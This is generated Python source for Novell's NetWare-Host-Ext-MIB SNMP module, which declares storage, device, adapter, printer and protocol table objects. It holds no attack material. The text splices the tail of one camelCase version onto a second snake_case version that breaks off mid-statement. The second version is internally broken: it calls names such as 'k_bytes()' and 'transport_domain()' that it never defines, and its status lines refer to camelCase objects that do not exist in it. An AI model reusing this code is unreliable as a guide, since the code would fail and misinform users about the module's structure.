nwhrLslUnclaimedPkts.setStatus('mandatory') nwhrProtocolTable = MibTable((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4), ) if mibBuilder.loadTexts: nwhrProtocolTable.setStatus('mandatory') pysmiFakeCol1000 = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1) + (1000, ), Integer32()) nwhrProtocolEntry = MibTableRow((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1), ).setIndexNames((0, "NetWare-Host-Ext-MIB", "pysmiFakeCol1000"), (0, "NetWare-Host-Ext-MIB", "nwhrProtocolName")) if mibBuilder.loadTexts: nwhrProtocolEntry.setStatus('mandatory') nwhrProtocolName = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1, 1), InternationalDisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 20))).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrProtocolName.setStatus('mandatory') nwhrProtocolID = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1, 2), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 6))).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrProtocolID.setStatus('mandatory') nwhrProtocolAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1, 3), InternationalDisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrProtocolAddress.setStatus('mandatory') nwhrProtocolOutPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1, 4), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrProtocolOutPkts.setStatus('mandatory') nwhrProtocolInPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1, 5), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrProtocolInPkts.setStatus('mandatory') nwhrProtocolIgnoredPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1, 6), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrProtocolIgnoredPkts.setStatus('mandatory') nwhrProtocolFullName = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1, 7), InternationalDisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrProtocolFullName.setStatus('mandatory') nwhrIfTable = MibTable((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 5), ) if mibBuilder.loadTexts: nwhrIfTable.setStatus('mandatory') pysmiFakeCol1001 = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 5, 1) + (1001, ), Integer32()) nwhrIfEntry = MibTableRow((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 5, 1), ).setIndexNames((0, "NetWare-Host-Ext-MIB", "pysmiFakeCol1001")) if mibBuilder.loadTexts: nwhrIfEntry.setStatus('mandatory') nwhrIfLogicalBoardNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 5, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrIfLogicalBoardNumber.setStatus('mandatory') nwhrIfFrameType = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 5, 1, 2), InternationalDisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrIfFrameType.setStatus('mandatory') nwhrIfLogicalBoardName = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 5, 1, 3), InternationalDisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 18))).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrIfLogicalBoardName.setStatus('mandatory') mibBuilder.exportSymbols("NetWare-Host-Ext-MIB", nwhrPrinterServerName=nwhrPrinterServerName, nwhrDiskStorageHeads=nwhrDiskStorageHeads, nwhrAdapterDMA1=nwhrAdapterDMA1, nwhrIfLogicalBoardName=nwhrIfLogicalBoardName, nwhrAdapterDevices=nwhrAdapterDevices, nwhrHotfixUnits=nwhrHotfixUnits, nwhrAdapterIndex=nwhrAdapterIndex, nwhrStorageMemoryPermanent=nwhrStorageMemoryPermanent, nwhrLslOutPkts=nwhrLslOutPkts, nwhrMslEntry=nwhrMslEntry, nwhrProtocolFullName=nwhrProtocolFullName, nwhrPrinterID=nwhrPrinterID, nwhrDiskStorageEntry=nwhrDiskStorageEntry, nwhrDiskStorageCylinders=nwhrDiskStorageCylinders, nwhrHotfixReserved=nwhrHotfixReserved, nwhrDeviceEntry=nwhrDeviceEntry, nwhrPhysicalPartitionType=nwhrPhysicalPartitionType, nwhrHotfixTotal=nwhrHotfixTotal, nwhrAdapterMem1=nwhrAdapterMem1, nwhrProcessorCount=nwhrProcessorCount, nwhrDiskStorageSectorsPerTrack=nwhrDiskStorageSectorsPerTrack, nwhrMslCount=nwhrMslCount, TransportAddress=TransportAddress, nwhrStorageCacheBuffers=nwhrStorageCacheBuffers, nwhrAdapterDriverMajorVer=nwhrAdapterDriverMajorVer, nwhrProtocolInPkts=nwhrProtocolInPkts, nwhrPhysicalPartitionTable=nwhrPhysicalPartitionTable, nwhrPrinterTable=nwhrPrinterTable, nwhrDeviceAdapterIndex=nwhrDeviceAdapterIndex, nwhrProtocolAddress=nwhrProtocolAddress, nwhrAdapterMem1Len=nwhrAdapterMem1Len, nwhrProtocolName=nwhrProtocolName, nwhrStorageCacheNonMovable=nwhrStorageCacheNonMovable, nwhrAdapterInterrupt1=nwhrAdapterInterrupt1, nwhrAdapterMem2Len=nwhrAdapterMem2Len, InternationalDisplayString=InternationalDisplayString, nwhrProtocolEntry=nwhrProtocolEntry, nwhrPhysicalPartitionSize=nwhrPhysicalPartitionSize, nwhrAdapterDriverDescr=nwhrAdapterDriverDescr, nwhrAdapterSlot=nwhrAdapterSlot, nwhrDeviceTable=nwhrDeviceTable, nwhrProtocolOutPkts=nwhrProtocolOutPkts, pysmiFakeCol1000=pysmiFakeCol1000, nwhrProtocolIgnoredPkts=nwhrProtocolIgnoredPkts, TransportDomain=TransportDomain, nwhrPhysicalPartitionEntry=nwhrPhysicalPartitionEntry, nwhrHotfixUsed=nwhrHotfixUsed, nwhrStorageCacheMovable=nwhrStorageCacheMovable, nwhrAdapterPort2Len=nwhrAdapterPort2Len, nwhrHotfixTable=nwhrHotfixTable, nwhrStorageDOSMemory=nwhrStorageDOSMemory, nwhrPrinterTransportDomain=nwhrPrinterTransportDomain, nwhrMslOutErrors=nwhrMslOutErrors, nwhrProtocolID=nwhrProtocolID, novell=novell, nwhrDiskStorageBlockSize=nwhrDiskStorageBlockSize, nwhrPhysicalPartitionIndex=nwhrPhysicalPartitionIndex, nwHostExtensions=nwHostExtensions, nwhrAdapterPort1Len=nwhrAdapterPort1Len, nwhrAdapterEntry=nwhrAdapterEntry, nwhrAdapterDriverMinorVer=nwhrAdapterDriverMinorVer, nwhrStorageTypes=nwhrStorageTypes, nwhrAdapterInterrupt2=nwhrAdapterInterrupt2, nwhrDiskStorageSectorSize=nwhrDiskStorageSectorSize, nwhrAdapterDMA2=nwhrAdapterDMA2, nwhrIfTable=nwhrIfTable, nwhrStorageUnclaimedMemory=nwhrStorageUnclaimedMemory, nwhrPrinterTransportAddress=nwhrPrinterTransportAddress, nwhrMslSends=nwhrMslSends, nwhrStorageVolume=nwhrStorageVolume, nwhrOdi=nwhrOdi, nwhrAdapterDescr=nwhrAdapterDescr, nwhrHotfixEntry=nwhrHotfixEntry, nwhrPrinterType=nwhrPrinterType, nwhrPhysicalPartitionDescr=nwhrPhysicalPartitionDescr, nwhrIfFrameType=nwhrIfFrameType, nwhrDeviceControllerNumber=nwhrDeviceControllerNumber, nwhrAdapterCount=nwhrAdapterCount, nwhrLslUnclaimedPkts=nwhrLslUnclaimedPkts, pysmiFakeCol1001=pysmiFakeCol1001, nwhrAdapterPort1=nwhrAdapterPort1, nwhrDeviceTypes=nwhrDeviceTypes, KBytes=KBytes, nwhrPrinterCount=nwhrPrinterCount, nwhrDeviceMirroredServerLink=nwhrDeviceMirroredServerLink, nwhrAdapterPort2=nwhrAdapterPort2, nwhrPrinterQueueName=nwhrPrinterQueueName, nwhrDevice=nwhrDevice, nwhrIfLogicalBoardNumber=nwhrIfLogicalBoardNumber, nwhrPrinterEntry=nwhrPrinterEntry, nwhrDeviceNumber=nwhrDeviceNumber, nwhrStorageIOEngineMemory=nwhrStorageIOEngineMemory, nwhrPrinterLocalName=nwhrPrinterLocalName, nwhrAdapterTable=nwhrAdapterTable, nwhrAdapterType=nwhrAdapterType, nwhrStorageCodeAndDataMemory=nwhrStorageCodeAndDataMemory, nwhrStorage=nwhrStorage, nwhrMslState=nwhrMslState, nwhrPrinterDeviceIndex=nwhrPrinterDeviceIndex, nwhrMslSpeed=nwhrMslSpeed, nwhrDiskStorageCount=nwhrDiskStorageCount, nwhrDiskStorageTable=nwhrDiskStorageTable, nwhrStorageMSEngineMemory=nwhrStorageMSEngineMemory, nwhrLslInPkts=nwhrLslInPkts, nwhrProtocolTable=nwhrProtocolTable, nwhrAdapterMem2=nwhrAdapterMem2, nwhrMslInErrors=nwhrMslInErrors, mibDoc=mibDoc, nwhrStorageMemoryAlloc=nwhrStorageMemoryAlloc, nwhrIfEntry=nwhrIfEntry, nwhrMslTable=nwhrMslTable, nwhrMslReceives=nwhrMslReceives)
(integer, object_identifier, octet_string) = mibBuilder.importSymbols('ASN1', 'Integer', 'ObjectIdentifier', 'OctetString') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (value_size_constraint, constraints_intersection, single_value_constraint, constraints_union, value_range_constraint) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ValueSizeConstraint', 'ConstraintsIntersection', 'SingleValueConstraint', 'ConstraintsUnion', 'ValueRangeConstraint') (hr_device_index,) = mibBuilder.importSymbols('HOST-RESOURCES-MIB', 'hrDeviceIndex') (if_index,) = mibBuilder.importSymbols('IF-MIB', 'ifIndex') (module_compliance, notification_group) = mibBuilder.importSymbols('SNMPv2-CONF', 'ModuleCompliance', 'NotificationGroup') (module_identity, mib_scalar, mib_table, mib_table_row, mib_table_column, unsigned32, counter64, mib_identifier, bits, iso, time_ticks, integer32, gauge32, object_identity, ip_address, enterprises, notification_type, counter32) = mibBuilder.importSymbols('SNMPv2-SMI', 'ModuleIdentity', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'Unsigned32', 'Counter64', 'MibIdentifier', 'Bits', 'iso', 'TimeTicks', 'Integer32', 'Gauge32', 'ObjectIdentity', 'IpAddress', 'enterprises', 'NotificationType', 'Counter32') (display_string, textual_convention) = mibBuilder.importSymbols('SNMPv2-TC', 'DisplayString', 'TextualConvention') class Transportdomain(Integer32): subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2, 3, 4)) named_values = named_values(('noAddress', 1), ('ipx', 2), ('ip', 3), ('appleTalkDDP', 4)) class Transportaddress(OctetString): pass novell = mib_identifier((1, 3, 6, 1, 4, 1, 23)) mib_doc = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2)) nw_host_extensions = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27)) nwhr_storage = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2)) nwhr_device = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 3)) nwhr_odi = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 10)) nwhr_storage_types = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1)) nwhr_storage_volume = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 1)) nwhr_storage_memory_permanent = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 2)) nwhr_storage_memory_alloc = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 3)) nwhr_storage_cache_buffers = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 4)) nwhr_storage_cache_movable = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 5)) nwhr_storage_cache_non_movable = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 6)) nwhr_storage_code_and_data_memory = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 7)) nwhr_storage_dos_memory = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 8)) nwhr_storage_io_engine_memory = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 9)) nwhr_storage_ms_engine_memory = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 10)) nwhr_storage_unclaimed_memory = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 11)) nwhr_device_types = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 1)) nwhr_device_mirrored_server_link = mib_identifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 1, 1)) class Kbytes(Integer32): subtype_spec = Integer32.subtypeSpec + value_range_constraint(0, 2147483647) class Internationaldisplaystring(OctetString): pass nwhr_device_table = mib_table((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 2)) if mibBuilder.loadTexts: nwhrDeviceTable.setStatus('mandatory') nwhr_device_entry = mib_table_row((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 2, 1)).setIndexNames((0, 'HOST-RESOURCES-MIB', 'hrDeviceIndex')) if mibBuilder.loadTexts: nwhrDeviceEntry.setStatus('mandatory') nwhr_device_adapter_index = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 2, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrDeviceAdapterIndex.setStatus('mandatory') nwhr_device_controller_number = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 2, 1, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrDeviceControllerNumber.setStatus('mandatory') nwhr_device_number = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 2, 1, 3), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrDeviceNumber.setStatus('mandatory') nwhr_processor_count = mib_scalar((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 3), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrProcessorCount.setStatus('mandatory') nwhr_printer_count = mib_scalar((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 4), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrPrinterCount.setStatus('mandatory') nwhr_disk_storage_count = mib_scalar((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 5), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrDiskStorageCount.setStatus('mandatory') nwhr_disk_storage_table = mib_table((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 6)) if mibBuilder.loadTexts: nwhrDiskStorageTable.setStatus('mandatory') nwhr_disk_storage_entry = mib_table_row((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 6, 1)).setIndexNames((0, 'HOST-RESOURCES-MIB', 'hrDeviceIndex')) if mibBuilder.loadTexts: nwhrDiskStorageEntry.setStatus('mandatory') nwhr_disk_storage_heads = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 6, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrDiskStorageHeads.setStatus('mandatory') nwhr_disk_storage_cylinders = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 6, 1, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrDiskStorageCylinders.setStatus('mandatory') nwhr_disk_storage_sectors_per_track = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 6, 1, 3), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrDiskStorageSectorsPerTrack.setStatus('mandatory') nwhr_disk_storage_sector_size = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 6, 1, 4), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrDiskStorageSectorSize.setStatus('mandatory') nwhr_disk_storage_block_size = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 6, 1, 5), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrDiskStorageBlockSize.setStatus('mandatory') nwhr_physical_partition_table = mib_table((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 7)) if mibBuilder.loadTexts: nwhrPhysicalPartitionTable.setStatus('mandatory') nwhr_physical_partition_entry = mib_table_row((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 7, 1)).setIndexNames((0, 'HOST-RESOURCES-MIB', 'hrDeviceIndex'), (0, 'NetWare-Host-Ext-MIB', 'nwhrPhysicalPartitionIndex')) if mibBuilder.loadTexts: nwhrPhysicalPartitionEntry.setStatus('mandatory') nwhr_physical_partition_index = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 7, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(0, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrPhysicalPartitionIndex.setStatus('mandatory') nwhr_physical_partition_type = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 7, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('other', 1), ('netWare', 2), ('dos', 3), ('inwDos', 4)))).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrPhysicalPartitionType.setStatus('mandatory') nwhr_physical_partition_descr = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 7, 1, 3), international_display_string().subtype(subtypeSpec=value_size_constraint(0, 128))).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrPhysicalPartitionDescr.setStatus('mandatory') nwhr_physical_partition_size = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 7, 1, 4), k_bytes()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrPhysicalPartitionSize.setStatus('mandatory') nwhr_hotfix_table = mib_table((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 8)) if mibBuilder.loadTexts: nwhrHotfixTable.setStatus('mandatory') nwhr_hotfix_entry = mib_table_row((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 8, 1)).setIndexNames((0, 'HOST-RESOURCES-MIB', 'hrDeviceIndex'), (0, 'NetWare-Host-Ext-MIB', 'nwhrPhysicalPartitionIndex')) if mibBuilder.loadTexts: nwhrHotfixEntry.setStatus('mandatory') nwhr_hotfix_units = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 8, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrHotfixUnits.setStatus('mandatory') nwhr_hotfix_total = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 8, 1, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrHotfixTotal.setStatus('mandatory') nwhr_hotfix_used = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 8, 1, 3), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrHotfixUsed.setStatus('mandatory') nwhr_hotfix_reserved = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 8, 1, 4), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrHotfixReserved.setStatus('mandatory') nwhr_adapter_count = mib_scalar((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 9), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterCount.setStatus('mandatory') nwhr_adapter_table = mib_table((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10)) if mibBuilder.loadTexts: nwhrAdapterTable.setStatus('mandatory') nwhr_adapter_entry = mib_table_row((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1)).setIndexNames((0, 'NetWare-Host-Ext-MIB', 'nwhrAdapterIndex')) if mibBuilder.loadTexts: nwhrAdapterEntry.setStatus('mandatory') nwhr_adapter_index = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterIndex.setStatus('mandatory') nwhr_adapter_type = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 2), object_identifier()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterType.setStatus('mandatory') nwhr_adapter_descr = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 3), international_display_string().subtype(subtypeSpec=value_size_constraint(0, 128))).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterDescr.setStatus('mandatory') nwhr_adapter_driver_descr = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 4), international_display_string().subtype(subtypeSpec=value_size_constraint(0, 128))).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterDriverDescr.setStatus('mandatory') nwhr_adapter_driver_major_ver = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 5), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterDriverMajorVer.setStatus('mandatory') nwhr_adapter_driver_minor_ver = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 6), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterDriverMinorVer.setStatus('mandatory') nwhr_adapter_port1 = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 7), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterPort1.setStatus('mandatory') nwhr_adapter_port1_len = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 8), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterPort1Len.setStatus('mandatory') nwhr_adapter_port2 = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 9), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterPort2.setStatus('mandatory') nwhr_adapter_port2_len = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 10), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterPort2Len.setStatus('mandatory') nwhr_adapter_mem1 = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 11), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterMem1.setStatus('mandatory') nwhr_adapter_mem1_len = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 12), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterMem1Len.setStatus('mandatory') nwhr_adapter_mem2 = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 13), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterMem2.setStatus('mandatory') nwhr_adapter_mem2_len = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 14), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterMem2Len.setStatus('mandatory') nwhr_adapter_dma1 = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 15), integer32().subtype(subtypeSpec=value_range_constraint(0, 255))).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterDMA1.setStatus('mandatory') nwhr_adapter_dma2 = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 16), integer32().subtype(subtypeSpec=value_range_constraint(0, 255))).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterDMA2.setStatus('mandatory') nwhr_adapter_interrupt1 = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 17), integer32().subtype(subtypeSpec=value_range_constraint(0, 255))).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterInterrupt1.setStatus('mandatory') nwhr_adapter_interrupt2 = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 18), integer32().subtype(subtypeSpec=value_range_constraint(0, 255))).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterInterrupt2.setStatus('mandatory') nwhr_adapter_slot = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 19), integer32().subtype(subtypeSpec=value_range_constraint(0, 65535))).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterSlot.setStatus('mandatory') nwhr_adapter_devices = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 20), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrAdapterDevices.setStatus('mandatory') nwhr_msl_count = mib_scalar((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 11), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrMslCount.setStatus('mandatory') nwhr_msl_table = mib_table((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 12)) if mibBuilder.loadTexts: nwhrMslTable.setStatus('mandatory') nwhr_msl_entry = mib_table_row((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 12, 1)).setIndexNames((0, 'HOST-RESOURCES-MIB', 'hrDeviceIndex')) if mibBuilder.loadTexts: nwhrMslEntry.setStatus('mandatory') nwhr_msl_state = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 12, 1, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('offline', 1), ('startup', 2), ('standby', 3), ('active', 4)))).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrMslState.setStatus('mandatory') nwhr_msl_speed = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 12, 1, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrMslSpeed.setStatus('mandatory') nwhr_msl_sends = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 12, 1, 3), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrMslSends.setStatus('mandatory') nwhr_msl_receives = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 12, 1, 4), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrMslReceives.setStatus('mandatory') nwhr_msl_in_errors = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 12, 1, 5), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrMslInErrors.setStatus('mandatory') nwhr_msl_out_errors = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 12, 1, 6), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrMslOutErrors.setStatus('mandatory') nwhr_printer_table = mib_table((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13)) if mibBuilder.loadTexts: nwhrPrinterTable.setStatus('mandatory') nwhr_printer_entry = mib_table_row((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1)).setIndexNames((0, 'NetWare-Host-Ext-MIB', 'nwhrPrinterID')) if mibBuilder.loadTexts: nwhrPrinterEntry.setStatus('mandatory') nwhr_printer_id = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrPrinterID.setStatus('mandatory') nwhr_printer_type = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('other', 1), ('local', 2), ('netware', 3), ('unixware', 4)))).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrPrinterType.setStatus('mandatory') nwhr_printer_local_name = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1, 3), international_display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrPrinterLocalName.setStatus('mandatory') nwhr_printer_queue_name = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1, 4), international_display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrPrinterQueueName.setStatus('mandatory') nwhr_printer_server_name = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1, 5), international_display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrPrinterServerName.setStatus('mandatory') nwhr_printer_transport_domain = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1, 6), transport_domain()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrPrinterTransportDomain.setStatus('mandatory') nwhr_printer_transport_address = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1, 7), transport_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrPrinterTransportAddress.setStatus('mandatory') nwhr_printer_device_index = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1, 8), integer32().subtype(subtypeSpec=value_range_constraint(0, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrPrinterDeviceIndex.setStatus('mandatory') nwhr_lsl_out_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 1), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: 